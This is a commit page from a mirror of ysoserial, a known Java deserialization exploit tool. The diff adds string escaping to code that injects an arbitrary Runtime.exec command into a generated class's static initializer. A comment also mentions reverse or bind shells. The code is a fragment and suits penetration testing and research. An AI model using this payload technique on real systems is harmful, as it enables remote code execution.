archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-21 22:50:46 +08:00
Code Issues Packages Projects Releases Wiki Activity

re-added java string escaping

Browse Source
This commit is contained in:
Chris Frohoff
2017-09-25 07:13:29 -07:00
parent b4d9c9b8a7
commit cf44df121a
1 changed files with 3 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/ysoserial/payloads/util/Gadgets.java
+3 -1
View File
@@ -117,7 +117,9 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer // run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});"; String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" +
Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") +
"});";
clazz.makeClassInitializer().insertAfter(cmd); clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)